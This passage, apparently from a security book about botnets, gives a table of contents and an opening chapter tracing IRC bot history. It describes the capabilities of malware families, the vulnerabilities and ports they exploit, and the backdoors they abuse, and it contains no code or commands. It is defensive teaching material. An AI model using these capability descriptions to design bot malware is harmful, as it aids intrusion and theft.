. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .324\nTricks for Searching the Ourmon Logs . . . . . . . . . . . . . . . . . . . . . . . . .325\nSniffing IRC Messages . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .329\nOptimizing the System . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .334\nBuy a Dual-Core CPU for the Probe . . . . . . . . . . . . . . . . . . . . . . .335\nSeparate the Front End and Back \nEnd with Two Different Computers . . . . . . . . . . . . . . . . . . . . . . . .336\nBuy a Dual-Core, Dual-CPU Motherboard . . . . . . . . . . . . . . . . . .336\n" }, { "page_number": 16, "text": "xiv\nContents\nMake the Kernel Ring Buffer Bigger . . . . . . . . . . . . . . . . . . . . . . .336\nReduce Interrupts . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .337\nSummary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .339\nSolutions Fast Track . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .339\nFrequently Asked Questions . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .343\nChapter 10 Using Sandbox Tools for Botnets . . . . . . . . . . . 345\nIntroduction . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .346\nDescribing CWSandbox . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .348\nDescribing the Components . . . . . . . . . . . . . . . . . . . . . . . . . . . . .352\nCwsandbox.exe . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .354\nCwmonitor.dll . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .356\nExamining a Sample Analysis Report . . . . . . . . . . . . . . . . . . . . . . . . . .359\nThe Section . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .359\nAnalysis of 82f78a89bde09a71ef99b3cedb991bcc.exe . . . . . . . . . . .360\nAnalysis of Arman.exe . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .363\nInterpreting an Analysis Report . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .368\nHow Does the Bot Install? . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .369\nFinding Out How New Hosts Are Infected . . . . . . . . . . . . . . . . . .371\nHow Does the Bot Protect the Local Host and Itself? . . . . . . . . . . .372\nDetermining How and Which C&C Servers Are Contacted . . . . . .375\nHow Does the Bot Get Binary Updates? . . . . . . . . . . . . . . . . . . . .376\nWhat Malicious Operations Are Performed? . . . . . . . . . . . . . . . . . .378\nBot-Related Findings of Our Live Sandbox . . . . . . . . . . . . . . . . . . . . .383\nSummary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .385\nSolutions Fast Track . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .387\nFrequently Asked Questions . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .390\nChapter 11 Intelligence Resources. . . . . . . . . . . . . . . . . . . . 391\nIntroduction . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .392\nIdentifying the Information an \nEnterprise/University Should Try to Gather . . . . . . . . . . . . . . . . . . . . .392\nDisassemblers . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .395\nPE Disassembler . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .395\nDJ Java Decompiler . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .396\nHackman Disassembler . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .396\nPlaces/Organizations Where Public Information Can Be Found . . . . . .398\nAntivirus,Antispyware, and Antimalware Sites . . . . . . . . . . . . . . . . .398\nViewing Information on Known Bots and Trojans . . . . . . . . . . .399\nProfessional and Volunteer Organizations . . . . . . . . . . . . . . . . . . . .400\nEDUCAUSE . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .400\nNANOG . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .401\nShadowserver . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .401\nOther Web Sites Providing Information . . . . . . . . . . . . . . . . . .402\nMailing Lists and Discussion Groups . . . . . . . . . . . . . . . . . . . . . . .402\nMembership Organizations and How to Qualify . . . . . . . . . . . . . . . . . .403\n" }, { "page_number": 17, "text": "Contents\nxv\nVetting Members . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .404\nConfidentiality Agreements . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .404\nWhat Can Be Shared . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .405\nWhat Can’t Be Shared . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .405\nPotential Impact of Breaching These Agreements . . . . . . . . . . . . . .406\nConflict of Interest . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .407\nWhat to Do with the Information When You Get It . . . . . . . . . . . . . . .407\nThe Role of Intelligence Sources in Aggregating Enough\nInformation to Make Law Enforcement Involvement Practical . . . . . . . .409\nSummary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .411\nSolutions Fast Track . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .411\nFrequently Asked Questions . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .414\nChapter 12 Responding to Botnets . . . . . . . . . . . . . . . . . . . 417\nIntroduction . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .418\nGiving Up Is Not an Option . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .418\nWhy Do We Have This Problem? . . . . . . . . . . . . . . . . . . . . . . . . . . . . .420\nFueling the Demand: Money, Spam, and Phishing . . . . . . . . . . . . . .421\nLaw Enforcement Issues . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .423\nHard Problems in Software Engineering . . . . . . . . . . . . . . . . . . . . .425\nLack of Effective Security Policies or Process . . . . . . . . . . . . . . . . .426\nOperations Challenges . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .428\nWhat Is to Be Done? . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .429\nEffective Practices . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .430\nPractices for Individual Computer Users . . . . . . . . . . . . . . . . . .430\nEnterprise Practices . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .432\nHow Might We Respond to Botnets? . . . . . . . . . . . . . . . . . . . . . .434\nReporting Botnets . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .436\nFighting Back . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .437\nThe Saga of Blue Security . . . . . . . . . . . . . . . . . . . . . . . . . . . .438\nSome Observations about the Blue Frog Affair . . . . . . . . . . . . .442\nLaw Enforcement . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .443\nDarknets, Honeynets, and Botnet Subversion . . . . . . . . . . . . . . . . .444\nA Call to Arms . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .445\nSummary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .447\nSolutions Fast Track . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .448\nFrequently Asked Questions . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .451\nAppendix A: FSTC Phishing Solutions Categories . . . . . . . . 453\nIndex. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 459\n" }, { "page_number": 18, "text": "" }, { "page_number": 19, "text": "Botnets: \nA Call to Action\nSolutions in this chapter:\n■\nThe Killer Web App\n■\nHow Big Is the Problem?\n■\nThe Industry Responds\nChapter 1\n1\n\u0002 Summary\n\u0002 Solutions Fast Track\n\u0002 Frequently Asked Questions\n" }, { "page_number": 20, "text": "Introduction\nThroughout 2006, technical security conferences have been discussing the latest\n“killer Web app.” Unfortunately, this Web technology works for the bad guys.\nWith funding from organized crime and spam lords, a generation of talented\nhackers without morals has created a devastating arsenal of deadly toys, in the\nform of botnets. Norman Elton and Matt Keel from the College of William &\nMary in the 2005 presentation “Who Owns Your Network?” called bot net-\nworks “the single greatest threat facing humanity.”This may be an exaggeration,\nbut Botnets are arguably the biggest threat that the Internet community has\nfaced. John Canavan, in a whitepaper titled “The Evolution of Malicious IRC\nBots,” says that Botnets are “the most dangerous and widespread Win32 viral\nthreat.”According to the cover of eWEEK magazine for October 16, 2006, we\nare “Losing the Botnet War.”The article by Ryan Naraine titled “Is the Botnet\nBattle Already Lost?” describes the current state of the Botnet environment:\nBotnets are “the key hub for well-organized crime rings around the globe,\nusing stolen bandwidth from drone zombies to make money from nefarious\nInternet activity.” (for more information, go to www.eweek.com/article2/\n0,1895,2029720,00.asp.) By contrast the security response is in its infancy with\nseveral vendors releasing version 1 of botnet-related products. Badly needed\nintelligence information is locked away with only the slightest means of com-\nmunicating it to the security professionals that need it.There isn’t any such\nthing as an information security professional security clearance. One vendor\ntold us that the quality of their product depends on the quality of their intelli-\ngence sources and then went on to say that they could give us no information\nthat could vouch for the quality of their intelligence sources.\nOur early weapon against botnets involved removing the bot server, the\nstrategy of “removing the head of the serpent.” Recent articles about the state\nof the security profession response to botnets have lamented the discovery\nthat we are not fighting a snake, but rather, a hydra. It has not one head but\nmany and cutting off one spawns two to replace it. Much has been made of\nthe loss of this weapon by the press. In the article, several security profes-\nsionals admit that the battle is lost. In real warfare, generals must battle the\nenemy, but just as important, they must battle against the loss of morale. Many\nof the security professionals who pioneered the fight against botnets are\ndemoralized by the realization that taking out the Command and Control\nwww.syngress.com\n2\nChapter 1 • Botnets: A Call to Action\n" }, { "page_number": 21, "text": "(C&C) server is no longer as effective as it once was. Imagine how the first\ninvading army that encountered a castle felt. Imagine the castle owner’s reac-\ntion upon the invention of the siege tower, catapult, or mortar.Yet, in the\nyears following the introduction of each of these weapons, castle design\nchanged.A single wall surrounding the castle became a series of walls.The\nrectangular castle shape gave way to irregular shapes intended to deflect\ninstead of stopping enemy weapons.The loss of a major weapon doesn’t mean\nthe loss of the war unless the general lets morale plummet and does not\nevolve to meet the new environment.\nThis book will attempt to add new soldiers and new weapons to the\nbattle. In doing so, the authors hope to stem the tide of lost morale and help\nsecurity professionals regain focus. It is necessary to lay a foundation for\ndeeper discussions.\nThis chapter describes the current state and how we got to this place. We\ncome from many levels and as such we must start from the very beginning.\nWhat is a botnet? In its simplest form, it is an army of compromised com-\nputers that take orders from a botherder.A botherder is an immoral hacker\nwho uses the botnet for financial gain or as a weapon against others.\nThe Killer Web App\nHow does this make a botnet a “killer Web app?”The software that creates\nand manages a botnet makes this threat much more than the previous genera-\ntion of malicious code. It is not just a virus; it is a virus of viruses.The botnet\nis modular—one module exploits the vulnerabilities it finds to gain control\nover its target. It then downloads another module that protects the new bot\nby stopping antivirus software and firewalls; the third module may begin scan-\nning for other vulnerable systems.\nA botnet is adaptive; it can be designed to download different modules to\nexploit specific things that it finds on a victim. New exploits can be added as\nthey are discovered.This makes the job of the antivirus software much more\ncomplex. Finding one component of a botnet does not imply the nature of\nany of the other components because the first component can choose to\ndownload from any number of modules to perform the functionality of each\nphase in the life cycle of a botnet. It also casts doubt on the capability of\nwww.syngress.com\nBotnets: A Call to Action • Chapter 1\n3\n" }, { "page_number": 22, "text": "antivirus software to claim that a system is clean when it encounters and\ncleans one component of a multicomponent bot. Because each component is\ndownloaded when it is needed after the initial infection, the potential for a\nsystem to get a zero day exploit is higher. If you are in an enterprise setting,\nyou take the risk of putting a bot back into circulation if the effort to clean\nthe malicious code isn’t comprehensive. Rather than take that risk, many IT\ndepartments opt to re-image the system from a known clean image.\nBotnet attacks are targetable.That is, the hacker can target a company or a\nmarket sector for these attacks.Although botnets can be random, they can also\nbe customized to a selected set of potential hosts.The botherder can con-\nfigure the bot clients to limit their scanning to hosts in a defined set of\nInternet Protocol (IP) addresses. With this targeting capability comes the\ncapability to market customized attacks for sale.The targeting capability of\nbotnets is adaptive as well.The bot client can check the newly infected host\nfor applications that it knows how to exploit. When it determines that the\nhost owner is a customer of, for example, an e-gold account, the client can\ndownload a component that piggybacks over the next connection to e-gold\nthe customer makes. While the host owner is connected to their e-gold\naccount, the exploit will siphon the funds from the account by submitting an\nelectronic funds transfer request.\nHow Big Is the Problem?\nThe latest Internet Threat report (Sept 2006) released by Symantec states that\nduring the six-month period from January to June 2006 Symantec observed\n57,717 active bot network computers per day. Symantec also stated that it\nobserved more than 4.5 million distinct, active bot network computers. From\nour experience in an academic environment, many bots we saw were not\nusually detected until the botherder had abandoned the computer.As soon as\nthe bot client stopped running, the remnants were detected.This is to say, the\nactual number is much larger than what Symantec can report. Recall that one\nof the bot client modules is supposed to make the antivirus tool ineffective\nand prevent the user from contacting the antivirus vendor’s Web site for\nupdates or removal tools.\nwww.syngress.com\n4\nChapter 1 • Botnets: A Call to Action\n" }, { "page_number": 23, "text": "The November 17 issue of E-WEEK’s online magazine featured the news\nthat the recent surge in penny stock and penile enhancement spam was being\ncarried out by a 70,000-member botnet operated by Russian botherders. If\nleft unabated, the botnet plague could threaten the future of the Internet, just\nas rampant crime and illegal drug use condemn the economic future of real\nneighborhoods.\nExamine the extraordinary case documented by McAfee in its white\npaper,“Killing Botnets—A view from the trenches,” by Ken Baylor and Chris\nBrown. Even though the conclusion of the paper is clearly a sales pitch, the\ncase it documents is real and potentially prophetic. In March of 2006, McAfee\nwas called in to, in essence, reclaim a Central American country’s telecommu-\nnications infrastructure from a massive botnet. In the first week of the\nengagement McAfee documented 6.9 million attacks of which 95 percent\nwere Internet Relay Chat (IRC) bot related.The national telco reported the\nfollowing resulting problems:\n■\nNumerous network outages of up to six hours\n■\nCustomer threats of lawsuits\n■\nCustomer business disruptions\n■\nLengthy outages of bank ATM service\nSince January 2005, Microsoft has been delivering the Windows Malicious\nSoftware Removal Tool to its customers.After 15 months, Microsoft\nannounced that it had removed 16 million instances of malicious software\nfrom almost six million unique computers.According to the Microsoft report\n“Progress Made,Trends Observed,” bots represented a majority of the\nremovals. Use of the tool is voluntary; that is to say, the vast majority of\nMicrosoft users are not running it. Before someone interprets these numbers\nas positive, remember that this action is reactive.The computer was success-\nfully infected and put to some use prior to being detected and removed.A\nMicrosoft patch was released during the last week of 2006, and within three\ndays after the release, exploits for those patches were already being distributed\nthroughout the Internet.\nConsider the power in one botnet attack alone, the distributed denial-of-\nservice (DDoS) attack.A small botnet of 10,000 bot clients with,\nwww.syngress.com\nBotnets: A Call to Action • Chapter 1\n5\n" }, { "page_number": 24, "text": "conservatively, 128Kbps broadband upload speed can produce approximately\n1.3 gigabits of data per second. With this kind of power, two or three large\n(one million plus) botnets could, according to McAfee,“threaten the national\ninfrastructure of most countries.” Individually, these large botnets are probably\npowerful enough to take down most of the Fortune 500 companies.\nA Conceptual History of Botnets\nLike many things on the Internet today, bots began as a useful tool without\nmalicious overtones. Bots were originally developed as a virtual individual\nthat could sit on an IRC channel and do things for its owner while the\nowner was busy elsewhere. IRC was invented in August of 1988 by Jarkko\n“WiZ” Oikarinen of the University of Oulu, Finland. Figure 1.1 traces the\nevolution of bot technology.\nFigure 1.1 The Evolution of Bot Technology\nwww.syngress.com\n6\nChapter 1 • Botnets: A Call to Action\n1988\n2006\n1989\n1990\n1991\n1992\n1993\n1994\n1995\n1996\n1997\n1998\n1999\n2000\n2001\n2002\n2003\n2004\n2005\n2006\nFriday, December 29, 2006\nEvolution of Bot Technology Timeline\nA timeline showing the introduction of Bots and Bot Technology\n2004\nPolyBot \nA derivative of AgoBot with \nPolymorphic abilty. Changes the \nlook of its code on every infection\n1988\nInvention of IRC\n1989\nGreg Lindahl invents GM the first Bot, \nGM plays “Hunt the Wumpus” with IRC users\n1999\nPretty Park discovered\nfirst worm to use an IRC server \nas a means of remote control \n \n1999\nSubSeven trojan/bot\nA remote control trojan \nadded control via IRC\n2000\nGT Bot, mIRC based\nRuns scripts in response to \nIRC server events\nSupports raw TCP and UDP \nSocket connections\n2002\nSDBot, written in C++\nSource code available\n to hacker community\nSmall single binary\n2002\nAgoBot, Gaobot\nIntroduces modular design \n1st module breaks-in \ndownloads 2nd module\n2nd module turns off antivirus\nHides from detection,\ndownloads 3rd module\nModule 3 has attack \nengines/payload\n2005\nMYTOB\n \nMy Doom \nmass emailing worm \nwith Bot IRC C&C\n2003\nSpyBot\nSpyware capabilities\n(keylogging,\ndata mining for email addresses\nlists of URLs, etc.)\n2003\nRBot\nMost Prevalent Bot today\nSpreads through \nweak passwords,\neasily modifiable,\nUses packaging software\n" }, { "page_number": 25, "text": "GM\nThe original IRC bot (or robot user), called GM according to Wikipedia, was\ndeveloped the next year, in 1989, by Greg Lindahl, an IRC server operator.\nThis benevolent bot would play a game of Hunt the Wumpus with IRC\nusers.The first bots were truly robot users that appeared to other IRC neti-\nzens as other users. Unlike today’s bot net clients (robots), these robots were\ncreated to help a user enjoy and manage their own IRC connections.\nFrom this simple example, other programmers realized they could create\nrobot users to perform many tasks currently done by humans for both users\nand the IRC operator, such as handling tedious 24-hour-a-day requests from\nmany users.An important bot development was the use of bots to keep a\nchannel open and prevent malicious users from taking over the channel when\nthe operator was busy doing other things. In order to assist the IRC operator,\nbots needed to be able to operate as a channel operator.The bots had evolved\nfrom being code that helps a single user to code that manages and runs IRC\nchannels as well as code that provides services for all users. Service is the term\nused for functionality that is offered by server-side bots as opposed to client-\nside bots.Around this time, some IRC servers and bots began offering the\ncapability to make OS shell accounts available to users. The shell account\npermits users to run commands on the IRC host. Wikipedia notes that “a lot\nof shell providers disappear very fast because of abusive behavior of their\nmembers.”\nPretty Park\nIn May 1999, Pretty Park, a bot client written in Delphi, was discovered.\nPrettyPark, according to “The Evolution of Malicious IRC Bots,” a Symantec\nwhite paper authored by John Canavan, had several functions and concepts\nthat are common in today’s bots, including:\n■\nThe capability to retrieve the computer name, OS version, user infor-\nmation, and other basic system information.\n■\nThe capability to search for and retrieve e-mail addresses and ICQ\nlogin names \nwww.syngress.com\nBotnets: A Call to Action • Chapter 1\n7\n" }, { "page_number": 26, "text": "■\nThe capability to retrieve usernames, passwords, and dial-up network\nsettings\n■\nThe capability to update its own functionality\n■\nThe capability to upload/download files\n■\nThe capability to redirect (tunnel) traffic\n■\nThe capability to launch a variety of DoS attacks\n■\nIncorporation of its own IRC client \nSubSeven Trojan/Bot\nBy the late 1990s, a few worms (such as IRC/Jobbo) had exploited vulnera-\nbilities in IRC clients (particularly mIRC) that let the clients be remote con-\ntrolled via a “backdoor.” In June, 1999, version 2.1 of the SubSeven Trojan\nwas released.This release was significant in that it permitted a SubSeven server\nto be remotely controlled by a bot connected to an IRC server.This set the\nstage for all malicious botnets to come. SubSeven was a remote-controlled\nTrojan, also written in Delphi, touted by its author as a remote administration\ntool. Its toolset, however, includes tools a real administrator would not use,\nsuch as capabilities to steal passwords, log keystrokes, and hide its identity.\nSubSeven gave bot operators full administrative control over infected systems.\nGT Bot\nA botnet client based on the mIRC client appeared in 2000. It is called\nGlobal Threat (GT) Bot and was written by Sony, mSg, and DeadKode.\nmIRC is an IRC client software package. mIRC has two important charac-\nteristics for botnet construction: it can run scripts in response to events on the\nIRC server, and it supports raw TCP and UDP socket connections.\nGT bot had the following capabilities:\n■\nPort Scanning It can scan for open ports.\n■\nFlooding It can conduct DDoS attacks.\n■\nCloning A clone is any connection to an IRC server over and\nabove the first connection.\nwww.syngress.com\n8\nChapter 1 • Botnets: A Call to Action\n" }, { "page_number": 27, "text": "■\nBNC (Bounce) A method for anonymizing Bot client access to a\nserver.\nToday, all variations of bot technology that are based on mIRC are said to\nbe members of the GT Bot family.These bot clients did not include a mecha-\nnism for spreading itself directly. Instead, they would use variations on social\nengineering ploys.A common ploy used to infect systems was an e-mail that\nclaimed to be from a security vendor. If the user clicked on the embedded\nlink they were taken to a Web site that delivered the client to the victim.\nThese early botnet clients were not modular, but rather were all contained in\na single package.\nSDBot\nEarly in 2002, SDBot appeared. It was written by a Russian programmer\nknown as sd. SDBot is a major step up the evolutionary chain for bots. It was\nwritten in C++. More important to the evolution of botnet technology, the\nauthor released the source code, published a Web page, and provided e-mail\nand ICQ contact information.This made it accessible to many hackers. It was\nalso easy to modify and maintain.As a result, many subsequent bot clients\ninclude code or concepts from SDBot. SDBot produced a small single binary\nfile that contained only 40KB of code.\nA major characteristic of the SDBot family is the inclusion and use of\nremote control backdoors.\nSDBot family worms spread by a variety of methods, including:\n■\nNetBios (port 139)\n■\nNTPass (port 445)\n■\nDCom (ports 135, 1025)\n■\nDCom2 (port 135)\n■\nMS RPC service and Windows Messenger port (TCP 1025)\n■\nASN.1 vulnerability, affects Kerberos (UDP 88), LSASS.exe, and\nCrypt32.dll (TCP ports 135, 139, 445), and IIS Server using SSL\n■\nUPNP (port 5000)\nwww.syngress.com\nBotnets: A Call to Action • Chapter 1\n9\n" }, { "page_number": 28, "text": "The SDBot exploits two server application vulnerabilities: WebDav (port\n80) and MSSQL (port 1433). It exploits two third-party application vulnera-\nbilities: DameWare remote management software (port 6129) and Imail\nIMAPD Login username vulnerability (port 143). It also exploits the fol-\nlowing Cisco router vulnerability: CISCO IOS HTTP authorization (Port\n80) vulnerability.\nThe following backdoors are exploited by SDBot:\n■\nOptix backdoor (port 3140)\n■\nBagle backdoor (port 2745)\n■\nKuang backdoor (port 17300)\n■\nMydoom backdoor (port 3127)\n■\nNetDevil backdoor (port 903)\n■\nSubSeven backdoor (port 27347)\nIf an exploit is successful, the worm creates and runs a script that down-\nloads SDBot onto the new victim and executes it. Once executed, the new\nvictim is infected. Note that many of these attacks are still used today, espe-\ncially brute force and password guessing attacks targeted at ports 139, 445,\nand 1433.\nToday, variants are spread by many other means including spam attacks in\nInstant Messaging (SPIM), CDs, infected attachments to e-mails, and hidden\ndownloads on phishing sites. In 2002, the motivation for SDBot was to build\na capability to launch DoS attacks. In November 2006, Panda labs reported\nthat SDBot.ftp.worm, a component of SDBot, was the most frequently\ndetected virus.This is a testament to the staying power and adaptability of this\napproach.The June 2006 Microsoft report about the Malicious Software\nRemoval Tool listed the SDBot as having been detected on 678,000 infected\nPCs, the second-highest total.\nAgobot\nAgobot (aka Gaobot) arrived in 2002 and added modular design and signifi-\ncant functionalities. By modular design, we mean that Agobot does not infect\na system with the entire bot code at one time.Agobot has three modules.\nwww.syngress.com\n10\nChapter 1 • Botnets: A Call to Action\n" }, { "page_number": 29, "text": "1. The initial module delivered contains the IRC bot client and the\nremote access backdoor.\n2. Module 2 attacks and shuts down antivirus processes.\n3. Module 3 prevents the user from accessing a list of Web sites (usually\nantivirus vendor sites).\nEach module retrieves the next module when it completes its primary\ntasks.This aspect permits the botherder to update modules 2 and 3 as new\ntechniques or sites are available.This modular update capability makes the list\nof variants soar into the thousands.Agobot uses IRC for C&C, but is spread\nusing peer–to-peer (P2P) file-sharing applications (for example, Kazaa,\nGrokster, and Bear Share).The bot client could be commanded through IRC,\nbut Agobot also opened a remote access backdoor to permit individual clients\nto be accessed directly.Agobot has the following capabilities:\n■\nScans for certain vulnerabilities\n■\nCan launch a variety of DDoS attacks\n■\nSearches for CD keys to games\n■\nTerminates antivirus and monitoring processes\n■\nModifies the host files to prevent access to antivirus Web sites\n■\nHunts for systems with the Bagle worm and if it infects one, shuts\ndown the Bagle processes\n■\nHides itself using rootkit technology\n■\nUses techniques to make reverse engineering difficult\nOther related bots include Phatbot, Forbot, Polybot, and XtremBot.\nPhatbot added the capability to use WASTE, a P2P for C&C that uses public\nkey crypto.\nFrom Code-Based Families \nto Characteristic-Based Families\nFrom this point in the evolution of bots, bot family groups are being created\nless based on the original code and based more on unique characteristics.Take\nwww.syngress.com\nBotnets: A Call to Action • Chapter 1\n11\n" }, { "page_number": 30, "text": "note of family names like Spybot, MyTob, and Polybot. While MyTob does\nindicate a code base, it is also a new characteristic, the mass mailing bot that\nhappens to be based on MyDoom. Similarly, detections by antivirus (A/V)\nvendors are becoming less concerned with identifying the overall bot. Instead,\nthey are tagging components they find with functional identifiers. Symantec,\nfor example, tags individual components it finds with names like\nHacktool.HideWindow and Trojan.Dropper.The overall bot was an RBot,\nbut Symantec never identified that connection.To the A/V vendor, they’ve\ndone their job if they find the malicious code and deal with it. However, the\ncorporate security officer would really like to know more.The organizing\nschema for the bot tells the security officer what potential attack vectors were\nused to infect the computer so that they might plug the holes instead of just\nfixing the broken machines.\nEach of the original bot families has evolved to incorporate improvements\nthat are seen in other bots. Since many of the bots are open source, modular,\nand in C/C++, it is easy to take source from one bot and add its capabilities\nto another bot.There is also a tendency for the A/V companies to use the\nnames that they designated to the exclusion of other vendor-created names.\nPartially, this is because there are so many variants of each bot family that two\nbots in the same family can have significantly different capabilities. For\nexample, one variant may use IRC as its C&C and have keylogging capabili-\nties, while the other variant may use P2P networks for C&C and search its\nbotclients for PGP public and private keys, cached passwords, and financial\naccount information. One vendor may call them both variants while another\nmay tag one of the variants as a new family.\nNew family names from this point have tended to highlight a new \ncapability.\nSpybot\nSpybot is an open source Trojan, a derivative of SDBot. It has also been called\nMilkit. Spybot emerged in 2003. Spybot adds spyware capabilities, such as col-\nlecting logs of activity, data from Web forms, lists of e-mail addresses, and lists\nof visited URLs. In addition to spreading via file sharing applications (PnP\napps) and by exploiting known vulnerabilities, Spybot also looks for systems\nthat were previously compromised by the SubSeven or the Kuang2 Trojan.\nwww.syngress.com\n12\nChapter 1 • Botnets: A Call to Action\n" }, { "page_number": 31, "text": "Like SDBot and Agobot, Spybot is easily customizable, a fact that complicates\nattempts to detect and identify this bot.According to some, this bot client is\npoorly written. It is similar in function to Agobot and is related to SDBot,\nRbot, URBot, and URXBot. Different variants of Spybot have the following\ncapabilities:\n■\nPort scanning for open ports\n■\nLaunching DDoS attacks like UDP and SYN flooding\n■\nChecking to prune or manage older systems (Win 9x) and systems\nthat connect via modem\n■\nUsing social engineering to entice P2P users to download the infec-\ntion module of Spybot\n■\nAttempting to deceive users by posting a fake error message after the\nuser runs the infection module\n■\nLogging of all keystrokes or only of keystrokes entered in Internet\nExplorer\n■\nLogging of everything copied to the Windows clipboard\n■\nGrabbing cached passwords on Win 9x systems\n■\nSome newer variants of Spybot capture screenshots around the part\nof the screen where a mouse click has occurred.This capability per-\nmits the botherder to defeat new security measures taken by some\nbanks.These banks have users click on a graphical keypad to enter\ntheir PIN or password.\n■\nAlthough rare, some variants of Spybot are capable of sending spam\nmessagesover instant messaging systems.These messages are reffered\nto as spim.\n■\nSniffing the network, sometimes for user IDs and passwords, some-\ntimes for the presence of other IRC channels to exploit.\n■\nKilling the processes of antivirus and other security products\n■\nNewer variants have begun including a rootkit, usually a hacked or\nmodified version of the FU rootkit.\n■\nControl of webcams, including streaming video capture\nwww.syngress.com\nBotnets: A Call to Action • Chapter 1\n13\n" }, { "page_number": 32, "text": "■\nRecent exploit scanning.According to John Canavan’s whitepaper titled\n“The Evolution of Malicious IRC Bots,” variants in 2005 included:\n■\nMicrosoft Windows DCOM RPC Interface Buffer Overrun\n(MS03-026)\n■\nMicrosoft Windows Local Security Authority Service Remote\nBuffer Overflow (MS04-011)\n■\nMicrosoft Windows SSL Library Denial of Service (MS04-011)\n■\nMicrosoft SQL Server User Authentication Remote Buffer\nOverflow (MS02-056)\n■\nUPnP NOTIFY Buffer Overflow (MS01-059)\n■\nMicrosoft Windows Workstation Service Buffer Overrun (MS03-\n049)\n■\nDameWare Mini Remote Control Server Pre-Authentication\nBuffer Overflow (CAN-2003-0960)\n■\nVERITAS Backup Exec Agent Browser Remote Buffer Overflow\n(UNIRAS 20041217-00920)\n■\nMicrosoft Webdav Buffer Overrun (MS03-007)\n■\nBeagle\n■\nMyDoom\n■\nNetdevil\n■\nOptixPro\n■\nSubSeven\n■\nKuang2\nFor more information, go to www.symantec.com/avcenter/reference/\nthe.evolution.of.malicious.irc.bots.pdf.\nRBot\nRBot first appeared in 2003.According to the June 2006 MSRT report from\nMicrosoft (“MSRT: Progress Made,Trends Observed” by Matthew\nBraverman), the RBot family had the most detections, with 1.9 million PCs\nwww.syngress.com\n14\nChapter 1 • Botnets: A Call to Action\n" }, { "page_number": 33, "text": "infected. It is a backdoor Trojan with IRC C&C. It introduced the idea of\nusing one or more runtime software package encryption tools (for example,\nMorphine, UPX,ASPack, PESpin, EZIP, PEShield, PECompact, FSG,\nEXEStealth, PEX, MoleBox, and Petite). RBot scans for systems on ports 139\nand 445 (systems with open Microsoft shares). It then attempts to guess weak\npasswords. It can use a default list or a list provided by the botherder. It can\nattempt to enumerate a list of users on the target system, a default list of user\nIDs and passwords, or try a list of user IDs and password combinations it\nfound on other systems.\nPolybot\nThe Polybot appeared in March of 2004 and is derived from the AgoBot\ncode base. It is named for its use of polymorphism, or its capability to appear\nin many different forms. Polybot morphs its code on every infection by\nencasing the compiled code in an “envelope” code.The envelope re-encrypts\nthe whole file every time it is run.\nMytob\nThe Mytob bot was discovered in February 2005.The bot is characterized as\nbeing a hybrid since it used source code from My Doom for the e-mail mass\nmailing portion of code and bot IRC C&C functionality. Note that “tob” is\n“bot” backwards.\nMytob uses social engineering and spoofed e-mail addresses, carries its\nown SMTP client, and has C&C capabilities similar to Spybot.\nCapabilities Coming to a Bot Near You\nThis section contains brief descriptions of a few new bot components:\n■\nGpCoder A potential bot component that encrypts a user’s files\nthen leaves a message to the user on how they can buy the decoder.\nCurrent versions can be decrypted by A/V vendor “fix” tools, but if\nlater versions use stronger encryption the potential for damage could\nbe big.\n■\nServ-U Installed on botclients, the Serv-U ftp server enables both-\nerders to store stolen movies, software, games, and illegal material (for\nexample, child pornography) on their botnets and serve the data\nwww.syngress.com\nBotnets: A Call to Action • 